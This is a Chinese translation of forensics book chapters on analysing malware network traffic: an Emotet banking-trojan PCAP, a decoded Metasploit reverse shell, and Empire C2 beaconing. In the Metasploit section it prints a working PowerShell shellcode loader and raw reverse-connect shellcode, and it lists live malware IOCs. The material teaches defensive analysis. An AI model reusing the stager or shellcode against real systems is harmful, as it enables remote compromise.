假设你收到了文件哈希ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa。你可以使用如www.virustotal.com/gui/home/upload和www.hybrid-analysis.com/等网站分析样本，而无需在你的系统上进行分析。以下截图显示了 VirusTotal 网站：

让我们在 VirusTotal 上搜索该文件的哈希值。如果该文件之前被分析过，结果应该会显示出来：

哎呀！62/70 的杀毒引擎检测到该文件为恶意文件，并认为它可能是 WannaCry 勒索病毒样本。让我们查看DETAILS标签页中的细节：

在DETAILS标签页中可以看到大量细节，尤其是导致此感染的文件的常见名称。我们还可以看到该文件之前已使用不同的名称进行过分析。此外，我们有以下细节：

我们可以看到 WannaCry 可执行文件联系了五个 IP 地址。显然，我们可以基于这些细节过滤网络，检查网络中的感染并找出感染源。我们还可以在 Hybrid-Analysis 网站上上传/搜索该样本（www.hybrid-analysis.com/）：

在 Hybrid-Analysis 上搜索该样本时，我们可以看到与之连接的 IP 地址列表和端口列表。这些信息将帮助我们缩小从感染系统发出的出站连接。我们还可以看到 Hybrid-Analysis 已经在安全环境中执行了我们提供的哈希值对应的样本文件进行分析：

显然，我们可以看到系统在恶意软件执行前后的状态，其中我们看到系统感染了 WannaCry 勒索病毒。

前述分析可以在以下网址找到：www.virustotal.com/gui/file/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa/detection 和 www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100。

此外，我们还可以通过 VirusTotal 上传 PCAP 文件来检查网络模式（www.virustotal.com/gui/home/upload）。让我们看看下面的示例：

我们可以看到来自 PCAP 的流量已通过 Suricata 和 Snort 这两个流行的入侵检测系统进行检测。让我们详细看看生成的警报：

我们可以看到之前列出的来自 PCAP 的 DNS 请求。接下来我们看看 HTTP 部分的内容，以下是截图：

在 HTTP 请求的下方，我们有 Snort 和 Suricata 匹配规则的部分，具体如下：

现在我们已经获得了这一部分的详细信息。查看第三部分，我们可以看到一个可执行文件进入了网络，并被 Snort 检测到。此外，还检测到了一个网络木马、一个命令和控制通信以及一个漏洞利用工具包。让我们也看看 Suricata 匹配的规则：

我们可以看到，根据 PCAP 数据，Suricata 不仅匹配了特洛伊木马活动，还识别出了系统上运行的 Internet Explorer 6 版本。因此，我们可以看到，即使不使用任何额外的分析工具，我们也能发现有关恶意软件的大量信息。此外，我们还可以使用 VirusTotal 图表以图形格式查看该样本，如下图所示：

我们可以看到，带有红色图标的节点被发现具有恶意性质。让我们通过选择它来分析该节点，如下图所示：

卡巴斯基已将其检测为恶意软件。像 VirusTotal 和 Hybrid-Analysis 这样的站点可以快速提供对 PCAP 和可执行文件的分析，加速我们在时间限制下的调查。因此，在开始手动分析之前，应该始终从这些网站获取输入。

上述示例分析可以在www.virustotal.com/gui/file/04cf54c95b58f15a2d06ad805a49b20233408737eb417190a817fd189bcf2329/relations找到。

一个真实世界的案例研究——调查网络中的银行木马

对于本练习，您可以从github.com/nipunjaswal/networkforensics/blob/master/Ch6/Emoter%20Banking%20Trojan%20Sample/2018-11-14-Emotet-infection-with-IcedID-banking-Trojan.pcap下载 PCAP。让我们在 NetworkMiner 中打开该 PCAP 并查看 Hosts 标签，如下所示：

我们根据接收到的数据包数量对主机进行了排序。我们可以看到 10.11.14.101 和 185.129.49.19 接收的数据包数量最多。接下来，查看 Files 标签中的文件，我们可以看到在捕获数据中发现了一个文档和一个可执行文件：

接下来，让我们计算其校验和，以便在如 VirusTotal 和 Hybrid-Analysis 等网站上进行搜索，如下图所示：

我们可以看到，我们已生成以下签名：

让我们复制其 SHA-256 签名并在 VirusTotal 上搜索：

哦！38/54 个杀毒引擎已将该文档判定为恶意。大多数杀毒引擎表示这是一个 VBA 下载器，意味着该文档是基于宏的后门文档，因为宏是使用 VBA 脚本语言在文档中编写的。

查看详细信息部分，我们发现以下观察结果：

我们可以看到 VirusTotal 分析显示该文档使用了宏，并且可能尝试运行文件、Shell 命令和其他应用程序。我们也可以看到，从文件中提取的准确宏代码。让我们在 Wireshark 中追踪这个：

我们可以看到，10.11.14.101 系统发起了一个 HTTP 请求，并从 78.135.65.15 服务器获取了一个 .doc 文件（如前面截图中的魔法头部所示），经过检查，该文件携带了一个 VBA 下载器宏。接下来，我们将转到关系标签页：

我们可以看到，办公文档联系了之前列出的 URL。让我们打开 Wireshark，看看文档是否已执行：

我们可以看到文档已经执行，因为 DNS 记录返回了该 IP 地址，后续有了 GET 请求。让我们通过以下方式进一步调查 HTTP 流：

我们可以看到，该请求已发送到 50.62.194.30 服务器一次，路径是 /PspAMbuSd2，该请求返回了 301 重定向响应，第二次发送时，路径变为 /PspAMbuSd2/，并返回了一个可执行文件，如下图所示：

所以，我们从服务器下载了一个可执行文件，它可能包含某些恶意内容；让我们通过在 VirusTotal 上使用 NetworkMiner 验证它的签名来检查，就像我们对文档所做的那样：

VirusTotal 结果表明，67 个杀毒软件中有 51 个已检测到该文件为恶意文件，并且携带了 Emotet 银行木马。让我们看看下面的详细图表：

我们可以看到，木马连接到了 50.76.167.65 服务器，这可能是其命令与控制主机。让我们看看第一次请求发送到该服务器的时间：

我们可以看到，多个 GET 请求已发送到不同的 IP 地址。我们可以推测，这些 IP 地址是通过链中的初始服务器响应提供的，因为它们并未出现在可执行文件中。接下来，在 Hybrid-Analysis 网站上搜索该可执行文件样本后，我们得到了以下详细信息：

我们可以看到一个新的 IP 地址，和 Wireshark 结果中的其他地址不同，它是 177.242.156.119。此外，我们可以看到 177.242.156.119 的端口 80 使用了非 HTTP 流量。让我们在 Wireshark 中检查一下：

我们可以看到，我们有外向连接，但似乎由于某种原因连接失败了。一般信息部分还列出了另一个 IP 地址，如下图所示：

我们还可以看到189.244.86.184这个 IP 地址。让我们通过在 Wireshark 中跟踪 HTTP 流量来调查它的流量，如下所示：

从我们通过 TCP 流看到的内容来看，特洛伊木马正在通过利用 Cookie 发送数据。这些数据可能是命令输出、信标行为（已安装的恶意软件定期向攻击者发送信息，表明它仍然在线并准备接收输入），或者是文件内容。然而，如果我们查看 NetworkMiner 的凭证部分，我们会看到不同的情况：

我们可以看到，在 HTTP 请求中，类似的 Cookie 也被发送到其他 IP。通过将 PCAP 文件上传到packettotal.com/，我们可以在 SSL 证书标签中看到以下信息：

SSL 证书是自签名的，且验证失败。因此，综合分析，我们得出以下事件总结：

  • 恶意的363439590633444.doc文档表单包含一个 VBA 下载器宏，它是从bysound.com.tr/（78.135.65.15）下载的，下载主机为10.11.14.101。

  • 该文档在启用了宏的情况下执行，运行了 VBA 宏脚本，并向托管在c-t.com.au/（50.62.194.30）的服务器发送了两个 HTTP 请求。

  • 第一个 HTTP 请求，GET /PspAMbuSd2 HTTP/1.1\r\n，导致了301 永久移动错误。

  • 第二个 HTTP 请求，GET /PspAMbuSd2/ HTTP/1.1\r\n，提供了一个包含 Emotet 银行木马的可执行文件。

  • 一旦 Emotet 可执行文件被执行，它便尝试连接到其指挥和控制服务器，该服务器托管在50.78.167.65:7080。

  • 可执行文件随后尝试连接到多个 IP 地址，看起来最终连接到了186.18.236.83:8080，如以下截图所示：

  • 在连接后，它进行了加密通信，然后继续像之前一样轮询 IP 地址。接下来，正如以下截图所示，它再次与71.163.171.106进行了加密通信，并继续对多个 IP 重复相同的模式，如下所示：

  • 从我们在前面的截图中看到的内容来看，IP 地址的包数量最多，并且它们已经通过 TLS 加密与感染主机进行通信，SSL 验证失败。

我们现在已经掌握了之前调查的足够信息来提取 IOC。然而，我们看到加密使得分析变得困难。要了解更多关于 Emotet 的信息，请参考www.fortinet.com/blog/threat-research/analysis-of-a-fresh-variant-of-the-emotet-malware.html。

该 PCAP 文件包含了银行木马的活跃样本。请不要在主机上执行它！务必在虚拟环境中运行或分析此类样本。

总结

在本章中，我们展示了如何在数据包层面对恶意软件（如 LokiBot）进行剖析，并获得其在被感染系统上的活动信息。我们展示了如何解密勒索病毒，并且为使用 PyLocky 和 Hidden Tear 勒索病毒样本提供了策略。我们学习了如何通过使用 VirusTotal、Hybrid-Analysis 以及packettotal.com/等网站，利用自动化技术进行调查。我们还分析了 Emotet 银行木马的活跃样本，并从中提取了 IOC。

在下一章中，我们将讨论指挥与控制系统，以及如何分析最常见的系统。我们将研究一些高级且常用的 C2 工具，了解它们在网络中的行为，并尝试开发识别它们的策略。

问题与练习

尝试以下练习，以获得网络恶意软件分析的实战经验：

  1. 完成来自www.malware-traffic-analysis.net/training-exercises.html的 Emotet 银行木马的所有练习

  2. 完成来自github.com/nipunjaswal/networkforensics/tree/master/Challenges的挑战 10 和 11？

  3. 你能通过 PCAP 解密勒索病毒吗？如果可以，如何解密，并在什么条件下解密？

  4. 大多数指挥与控制服务器有吗？

    1. 加密

    2. 编码

    3. 信标行为

    4. 上述都不是

    5. 上述所有内容

  5. 大多数银行木马是通过什么方式安装到系统中的？

    1. 网络钓鱼

    2. 垃圾邮件

    3. 漏洞利用

    4. 人为错误

    5. 上述所有内容

    6. 上述都不是

进一步阅读

为了最大化本章的收获，请访问以下链接：

第七章：调查 C2 服务器

在上一章中，我们了解了恶意软件分析在网络取证中的工作原理。现在让我们研究一些先进且广泛使用的命令与控制（C2）工具，了解它们在网络中的行为，并尝试制定识别它们的策略。最受欢迎的 C2 工具是Metasploit和Empire，这两者都广泛应用于红队演练和专业渗透测试中。然而，一些易于使用的工具有时会吸引网络犯罪分子使用它们。虽然许多检测工具可以检测到 Metasploit 的使用，但建议我们也通过手动调查事件来加以确认。

本章内容将包括以下主题：

  • 解码 Metasploit shell

  • 案例研究 – 解密 Metasploit 反向 HTTPS Shellcode

  • Empire C2 分析

  • 案例研究 – CERT.SE 的重大欺诈与黑客犯罪案件，B 8322-16

让我们首先调查 Metasploit 中使用的基本反向 TCP shell。我们将查看meterpreter_basic.pcap文件进行此练习。

技术要求

完成本章练习需要以下工具：

解码 Metasploit shell

让我们开始在 Wireshark 中调查文件，尝试推测发生了什么。我们将专注于收集以下详细信息：

  • C2 服务器 IP

  • C2 服务器端口

  • 被感染的系统 IP

  • 被感染系统的端口

  • 攻击者执行的操作

  • 攻击发生时间

  • 攻击持续时间

让我们启动 Wireshark 并选择统计信息 | 会话 | TCP标签：

我们可以看到，主要有两个会话在192.168.46.128和192.168.46.129之间通过端口80和4433进行。让我们使用 TCP 过滤器来筛选这些会话并分析输出：

我们可以看到第一个 TCP 数据包（23-25）仅仅是三次握手。然而，接下来我们有一个从数据包 71 开始的独立会话。另一个奇怪的事情是，使用的通信端口是端口 80。但是，由于某种原因，显示的数据仍然是 TCP 封装的数据，而不是应用层数据（HTTP）。这是很奇怪的，通常发生在端口 80 被用于非 HTTP 通信的情况下。让我们右键点击数据包 71，并跟踪 TCP 流：

好的，看起来我们已经找到了罪魁祸首！我们可以看到一个 dir 命令正在被执行，并且数据正在被接收。这是一个 C2（命令与控制）案例，攻击者可能执行了 dir 命令，并且响应被发送给了他们。然而，在过滤流中我们看到了大量的命令。此外，pcap 文件中存在的流的数量与会话的 TCP 标签中显示的流的数量相等。因此，我们知道文件中有四个流，分别如下：

  • 三次握手

  • 端口 80 上的 C2 设置

  • dir 命令

  • 端口 4433 上的通信

虽然包含 dir 命令的流 2 被放置在流 1 下面，但我们观察到流 1 结束的时间远远晚于流 2，因为它是一个持续的实时 Shell 流。

回到流 1 中的命令，执行了以下命令：

cmd.exe /c "echo. | powershell get-host"&echo STJEXrMKAkjOshArBckoeWYztVtWXdpt

上面的命令运行了 PowerShell 中的 get-host，它显示了以下输出：

    Name : ConsoleHost
    Version: 2.0
    InstanceId : 12db3119-6933-4952-926a-b57f6d910559
    UI: System.Management.Automation.Internal.Host.InternalHostUserI
    nterface
    CurrentCulture : en-US
    CurrentUICulture : en-US
    PrivateData: Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
    IsRunspacePushed: False
    Runspace: System.Management.Automation.Runspaces.LocalRunspace

    STJEXrMKAkjOshArBckoeWYztVtWXdpt

我们还可以看到命令中回显了一个标识符。这个标识符通常用于识别被攻陷主机的唯一输出，同时也表示输出的结束。让我们看看下一个命令：

使用 PowerShell 混淆

%COMSPEC% 命令仅仅是 cmd.exe 的占位符变量，我们可以通过在 CMD 中输入 echo %COMSPEC% 来验证这一点。接下来，我们可以看到 powershell.exe 被调用，并且是通过 /min 和 -w hidden 开关在最小化和隐藏窗口中启动的。在接下来的几行中，PowerShell 从 system32 和 64 位目录（例如 sysWOW64）中被搜索。让我们解码这个 Base64 编码的有效载荷，看看它到底隐藏了什么：

我们在进行 Base64 解码后得到了上面的输出。然而，这仍然没有太多意义。我们可以在输出中看到另一个 Base64 编码的字符串和 Gzip 压缩对象。让我们在下一部分尝试解压 Gzip 压缩并使用 Base64 解码它：

使用 Python 解码和解压缩

让我们深入分析一下。我们可以使用 Python 解码内容，这些内容经过 Gzip 压缩和 Base64 编码：

>>> import io 
>>> import base64 
>>> import gzip 
>>> file_content = io.BytesIO(base64.b64decode("H4sIAJrUfFwCA7VW+2/aSBD+OZX6P1gVkm3V4RFoeskp0q15muIEYh4hFEUbe22WrL2wXodHr//7jQEn6TWt2pPOArGenZmd+b6ZWRyJhTx2GCEL5ThWSn/6SeRKyiMF90fdovLl7ZujLhY4VLSce2coue3ppqYfHYE4R/iH7h/KhaJN0GJR4yGm0fT8vJoIQSK5f883iURxTMJ7Rkms6crfymhGBDm+up8TVypflNxdvsn4PWYHtU0VuzOiHKPIS/c63MVpOHlnwajU1M+fVX1yXJrm68sEs1hTnU0sSZj3GFN15aueHtjfLIim2tQVPOa+zI9oVD7JD6IY++QSvD0Sm8gZ92JVhzTgI4hMRKTsE0o97Pc1FZZdwV3keYLEoJ63okf+QLRclDBmKH9pk8Px10kkaUhgXxLBFw4Rj9Qlcb6FI4+Ra+JPtUuyyrL+VSPtpRFodaXQDSDitTht7iWM7E1V/ftIgT0dnoxByPzr2zdv3zzRzSovuYbV0WS3JhCb1uUx3WldKEVDseEQLLnYwGuuLxKiT5VJCvpkOlVyi/4dMn5sX8qUQXXZBcFkyKk3BYMDGbnYvFun8h8XVY34NCK1TYRD6mZ1o72GMPEZ2eWXz9QuISRNPWwQr0YYCbBMITOUyfdm9ZDKJ1szocwjArnAUgxRAYH6t8HsWdBUK7JJCAjt31VA3YdqJZn2oUI32enpOyipVYbj2FC6CbSLaygOwYx4hoKimB62UCL5bqk+h2snTFIXxzJzN9UzHA/nVXkUS5G4QBrk3ncWxKWYpVAYSot6xNw4NMjOVV8FoooZo1EAnh6BCJCkADgyLQUBIe5o1/MOkVa4YCQEnV3fNhgOoEsPpb6rHRwQT/13hFkl78s2xSID4UV8QLDDuDSUIRUS2j/Fddn9b4e/aPtdGFVBDkRoWW9MzI1Mazo33662abFnsOxAEBIAaAgemjgmpxVHCoBHe1e4olUEz9iKmO2aD7SEVrRk2fAd0LLFax+9T+15qyBq65mPrNiyW91ar9WqPLadYUU6dUt+6lrSrt/M5w5qXQ/G8tZCrT4tPowr20Wbbp0O8sbrwunW3K6K5no7Dzx/XPP94KPvXJc+NGhnVO2ZxRPcqdWTzshcmcVKXKerVo8Oeg/thrwfDxke+IXgpnSG6boj5sMSt7cWQs1Z2d22/WFzZnubcYuSeaHYoT3UQ+iTez0YNINF0IxR4Wy4rIZztKyemhhZqD5stj8wszdomGhQN3v4infL72uF0q23rDdub3A7ZF6zVSiNb5CHtoV+MCt9bM5XErdHqS/U5PUh8ziSkXVTKAzp9nbZawaoDjgOQ45wgz4M3t+Av8s+DszRoPSsi1x7sY5uktXq4uJdSiwwm6Ol8gu6fjRnbSziGWZAI8zPrHcaXDQOM7HLaWqhafur8IGIiDC4SeCuySoQMcbddCbD+ITbYD+jp9BAA1iWT15d6cqTov48qDPR+fktBAk1vSu6fIdEgZwZxXW5WITRW1xXipDkr2dW5YuNtvdlpLM7hebJOds519Naz8Vn/zNihwabwY/3c8SeZT/Z/SUUi8Yu3++k3wp+C9DfT3yEqQRVB8YDI/v76bX8D8Xx4uqOz4B3//Ckf52uEnl8Cff5P9ds5qy1CQAA")) 
>>> result = gzip.GzipFile(fileobj=file_content) 
>>> result.read()

我们首先导入输入/输出、Gzip 和 base64 库。接下来，我们使用 base64 解码内容并获得解码后的字节。这些字节是 Gzip 压缩格式的，因此需要解压缩。我们将内容进行 Gzip 解压并将结果存储在 result 变量中，然后打印数据：

Start-Sleep -s 1;function aTWP0 { 
   Param ($c_, $z6yD)        
   $eo5P8 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(\'\\\\\')[-1].Equals(\'System.dll\') }).GetType(\'Microsoft.Win32.UnsafeNativeMethods\') 

   return $eo5P8.GetMethod(\'GetProcAddress\').Invoke($null, @(System.Runtime.InteropServices.HandleRef, ($eo5P8.GetMethod(\'GetModuleHandle\')).Invoke($null, @($c_)))), $z6yD)) 
} 

function l4 { 
   Param ( 
         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $pT_A, 
         [Parameter(Position = 1)] [Type] $qP = [Void] 
   ) 

   $sB_x = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(\'ReflectedDelegate\')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(\'InMemoryModule\', $false).DefineType(\'MyDelegateType\', \'Class, Public, Sealed, AnsiClass, AutoClass\', [System.MulticastDelegate]) 
   $sB_x.DefineConstructor(\'RTSpecialName, HideBySig, Public\', [System.Reflection.CallingConventions]::Standard, $pT_A).SetImplementationFlags(\'Runtime, Managed\') 
   $sB_x.DefineMethod(\'Invoke\', \'Public, HideBySig, NewSlot, Virtual\', $qP, $pT_A).SetImplementationFlags(\'Runtime, Managed\') 

   return $sB_x.CreateType() 
} 
[Byte[]]$jzwzy = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqC6BaAIAEVGJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==") 

$i13 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aTWP0 kernel32.dll VirtualAlloc), (l4 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $jzwzy.Length,0x3000, 0x40) 
[System.Runtime.InteropServices.Marshal]::Copy($jzwzy, 0, $i13, $jzwzy.length) 

$s9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aTWP0 kernel32.dll CreateThread), (l4 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$i13,[IntPtr]::Zero,0,[IntPtr]::Zero) 
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((aTWP0 kernel32.dll WaitForSingleObject), (l4 @([IntPtr], [Int32]))).Invoke($s9,0xffffffff) | Out-Null'

我们可以看到我们已经解码了整个有效负载，看起来像是反射式 DLL 注入。然而，我们仍然可以看到另一个 base64 编码的字符串。让我们按如下方式解码它：

我们可以看到解码后的值；这是攻击者使用的 shellcode。我们将其转换为十六进制字符串：

>>>import base64 
>>>base64.b64decode("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqC6BaAIAEVGJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==").hex()

上面的程序输出如下内容：

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a82e81680200115189e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd56a006a0456576802d9c85fffd58b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd501c329c675eec3

我们可以将前面的字符串以 shell 代码的形式查看，如下所示（有一个很棒的在线资源可以将十六进制字符串转换为 x86 汇编：defuse.ca/online-x86-assembler.htm）：

向下滚动代码，我们有几行有趣的内容，显示了以下内容：

在 af 行（第 4 行），我们有 push 0x812ea8c0，它是大端格式。我们将其转换为小端格式，字节反转为 c0a82e81。将其从十六进制转换为 IP 地址，我们得到 192.168.46.129，类似地，下一行 51110002 的前半部分是小端格式的端口号 1151（十六进制）到 4433（十进制）。

4433 是网络捕获文件中流 3 所通讯的端口。此外，如果我们仔细查看汇编代码，我们会发现该 shellcode 用于连接到定义的 IP 和端口，并为攻击者提供了对目标的一些访问权限。查看汇编代码超出了本书的范围。因此，如果你想了解更多关于汇编的知识，请查阅 进一步阅读 部分。

那么，我们找到了所有最初的问题的答案吗？让我们来看看：

  • C2 服务器 IP：192.168.46.129

  • C2 服务器端口：80（shell），4433（未知）

  • 感染系统的 IP：192.168.46.128

  • 感染系统的端口：49273，49724，以及其他端口

  • 攻击者执行的操作：

    • 当用户从桌面执行某个恶意文件时，攻击者获得了对系统的 shell 访问权限。

    • 攻击者在目标上运行了 dir 命令，并收集了当前目录下的项目列表。

    • 攻击者执行了 PowerShell 并运行了 get-host 来获取控制台主机信息。

    • 攻击者运行了另一个 PowerShell 脚本，执行了一个高度混淆的有效负载，该有效负载连接到攻击者系统的端口 4433，并为攻击者提供了一定的访问权限：

      • 攻击发生时间：13:01:13

      • 攻击持续时间：2:44 分钟（捕获文件属性）

现在查看流 3：

当我们过滤到流 3 并跟踪流时，得到前面的输出，似乎是一个可执行文件，因为前几个字节包含了 MZ 魔术字节，这是可执行文件和 DLL 的默认标识。让我们继续查看：

向下滚动一点，我们可以看到许多表示常见 Metasploit 关键字的函数，例如类型长度值 (TLV)-基础标识符。Meterpreter 后门使用 TLV 通信。

此外，我们还看到了一些 WIN API 函数。这个文件是 Meterpreter DLL 文件，它在运行时被注入到目标的调用进程中。因此，某种形式的访问 在答题部分是 Meterpreter 对目标的访问。继续查看，我们可以看到整个通信是加密的，这是 Meterpreter 的常见特性。

总结这次调查，我们有以下关键点：

  • 攻击者在连接后获得了目标系统的 shell 访问权限。

  • 攻击者在Desktop文件夹中运行了dir命令。因此，允许攻击者访问的罪魁祸首文件位于桌面上。

  • 攻击者执行了一个包含高度混淆有效载荷的 PowerShell 命令。

  • 有效载荷包含了攻击者的 IP 和端口 4433，用于连接到攻击者。这个机制看起来像是现有 shell 的更新，这是 Metasploit 中的一个功能，你可以将你的 shell 更新为 Meterpreter shell。

  • Meterpreter DLL 被下载到受害者系统，并且在流 3 上启动了连接。

我们在这个练习中仅使用网络证据，并借助 Python 和一些参考网站，推断出了很多信息。此外，我们还看到了如何解码和解压通过网络发送的混淆有效载荷。接下来，让我们看看如何处理启用了 HTTPS 的 Metasploit 有效载荷。

案例研究 – 解密 Metasploit 反向 HTTPS Shellcode

在没有使用中间人攻击或某种 SSL 卸载器的情况下，几乎不可能解密 HTTPS 通信。在 Meterpreter shell 的情况下，密钥和证书是动态生成的，并随后被移除，这使得解密加密会话更加困难。然而，有时恶意攻击者可能会使用并冒充 SSL 证书，并将其保留在自己的系统上。在这种情况下，获取私钥可以帮助我们解密 HTTPS 有效载荷。以下示例演示了在自签名证书的情况下如何进行 SSL 解密，我们假设事件响应者以某种方式从攻击者系统获取了密钥。让我们看看下面截图中给出的加密通信：

我们可以看到数据被加密了，且没有多少有意义的内容。让我们在 NetworkMiner 中打开这个meterpreter_https.pcap文件，并浏览到文件标签：

我们可以看到通信中包含证书，但其真实性验证失败。在我们尝试解密加密的 Meterpreter 会话内容时，需要注意的是，在大多数情况下，我们无法获得私钥来进行解密。在这种情况下，我们将利用一些警示标志，比如 SSL 证书验证失败，来判断通信通道是否恶意。接下来，让我们尝试解密加密的通信：

我们将从首选项中进入协议部分，导航到SSL，然后点击RSA 密钥列表选项，接下来会显示以下内容：

一旦我们在SSL 解密部分填写了 IP 地址、端口号和密钥文件，我们就会看到解密后的数据：

我们可以看到，现在我们在 Wireshark 中解密了数据。由于我们正在处理解密后的 SSL 会话，因此分析也适用于 HTTP 有效载荷。Meterpreter HTTP 有效载荷使用信标机制，像其他 C2 系统一样。在 HTTP 的情况下，它们仅仅是 GET 请求，并生成长度为零的响应。如果我们仔细观察，会看到这些响应的内容长度为零：

需要注意的另一点是，响应只包含Apache，这是一种非标准 HTTP 头，看起来不正常，因为它没有包含 Apache 服务器的具体版本。虽然这些是通信中的一些警示标志，但并不全面，您应继续研究以发现更多信息。

回到我们之前关于如何解密 SSL 会话的讨论，我们得到了以下内容：

  • 我们以某种方式从攻击者那里获取 SSL 密钥

  • 我们修改攻击者的 Metasploit 实例并记录他们的密钥

  • 我们修改攻击者的 Metasploit 实例并提供静态密钥和证书

  • 我们进行中间人攻击

查看这篇关于运行时 Meterpreter 密钥分析的好文章，了解如何修改密钥和攻击者系统中的证书：khr0x40sh.wordpress.com/2013/06/25/exporting-runtime-private-key-for-msfs-meterpreter-reverse-tcp-and-https/。

分析 Empire C2

Empire 是一个纯 PowerShell 的后渗透代理，提供类似于 Metasploit Meterpreter 的功能。类似于妥协指示器（IOC）在 Metasploit 中的表现，Empire C2 也有不同的 IOC。让我们分析empire_shell.pcap文件，并在 Wireshark 中加载它以查看pcap的属性：

捕获文件包含了超过三个半小时的流量分析。让我们看看流量对话：

我们可以看到一个明显的模式，表明存在信标行为，因为我们可以看到大多数 2,649 个会话中的数据包数量是静态的，大部分值为 5。被 Empire 感染的系统倾向于生成大量的 HTTP 请求。让我们使用 HTTP 包含 GET 过滤器来过滤一些 HTTP 请求，看看底层情况：

攻击者可以轻松修改前述 URI 条目。但是对于经验不足的对手来说，这些值将是默认的，如前面的屏幕截图所示。这三个 URI — /admin/get.php、/login/process.php 和 news.php — 定义了 Empire 的整个通信控制。让我们深入挖掘其中一个请求的细节：

在记录前述的 pcap 时，目标使用的是 Windows 10 系统。然而，根据生成的请求，用户代理指明请求系统为 Windows 7（Windows NT 6.1）。此外，响应中的服务器头部指明服务器为 Microsoft-IIS/7.5，而响应主体中的 It works! 消息看起来类似于 Apache 服务器使用的默认 index.html 页面。

TTL 值也可以透露出大量的详细信息，例如 TTL 值为 64 表示 Linux 系统，而基于 Windows 的操作系统则使用 128 作为默认 TTL 值。

更多信息，请参考 TTL 值的这张表格：subinsb.com/default-device-ttl-values/。

案例研究 – CERT.SE 的主要欺诈和黑客刑事案件，B 8322-16

请参阅案例研究 www.cert.se/2017/09/cert-se-tekniska-rad-med-anledning-av-det-aktuella-dataintrangsfallet-b-8322-16。我们可以从 drive.google.com/open?id=0B7pTM0QU5apSdnF0Znp1Tko0ams 下载 PCAP 文件。该案例突显了使用开源工具，并指出感染发生在目标收到一封带有宏启用文档的电子邮件后。攻击者要求受害者启用宏以查看文档内容，从而在目标系统上生成立足点。我们将从网络角度分析 pcap 并突出感兴趣的信息。

让我们启动 NetworkMiner 并概述发生了什么：

如果我们按字节对数据包进行排序，将 37.28.155.22 作为顶级 IP 地址。让我们查看其详细信息：

我们可以看到系统是 Linux，并且如前所述，其 TTL 值为 64。该系统上的开放端口为 8081 和 445。让我们启动 Wireshark 来调查此 IP：

我们可以看到 92% 的流量属于 37.28.155.22，如前面的屏幕截图所示。让我们看一些 HTTP 数据：

图片

哦！看起来 Empire 框架在这里被使用了。让我们通过调查其中一个数据包来确认我们的怀疑：

图片

正如我们先前讨论过，并在 NetworkMiner 中看到的那样，37.28.155.22 IP 是一个 Linux 服务器，TTL 值为 64。前面的请求没有意义，因为它声明服务器运行的是 Microsoft IIS 7.5，并且具有与 Windows 7 相同的请求签名。通信来自 Empire。然而，攻击者修改了一些页面，如 news.php 和 news.asp。我们还可以看到流动的加密数据：

图片

我们刚刚看到了如何使用 Empire 等工具来实施真实世界的犯罪。因此，了解其 IOCs 对我们始终有好处。

因此，总结这次调查，我们得到以下细节：

  • C2 服务器 IP：37.28.155.22

  • C2 服务器端口：8081

  • 感染系统 IP：195.200.72.148

图片

感染系统的端口

  • 攻击者执行的操作：

    • 当用户执行包含宏的恶意文档时，攻击者获得了对系统的 shell 访问权限（来源：案例研究）。

    • 攻击者通过其 C2 服务器的端口 8081，通过 Empire 获得了访问权限（来源：PCAP）。

      • 攻击时间：2017 年 9 月 14 日，印度标准时间 13:51:14.136226000（数据包到达时间）

      • 攻击持续时间：21 分钟+（Capinfos/Statistics | Capture File Properties）

摘要

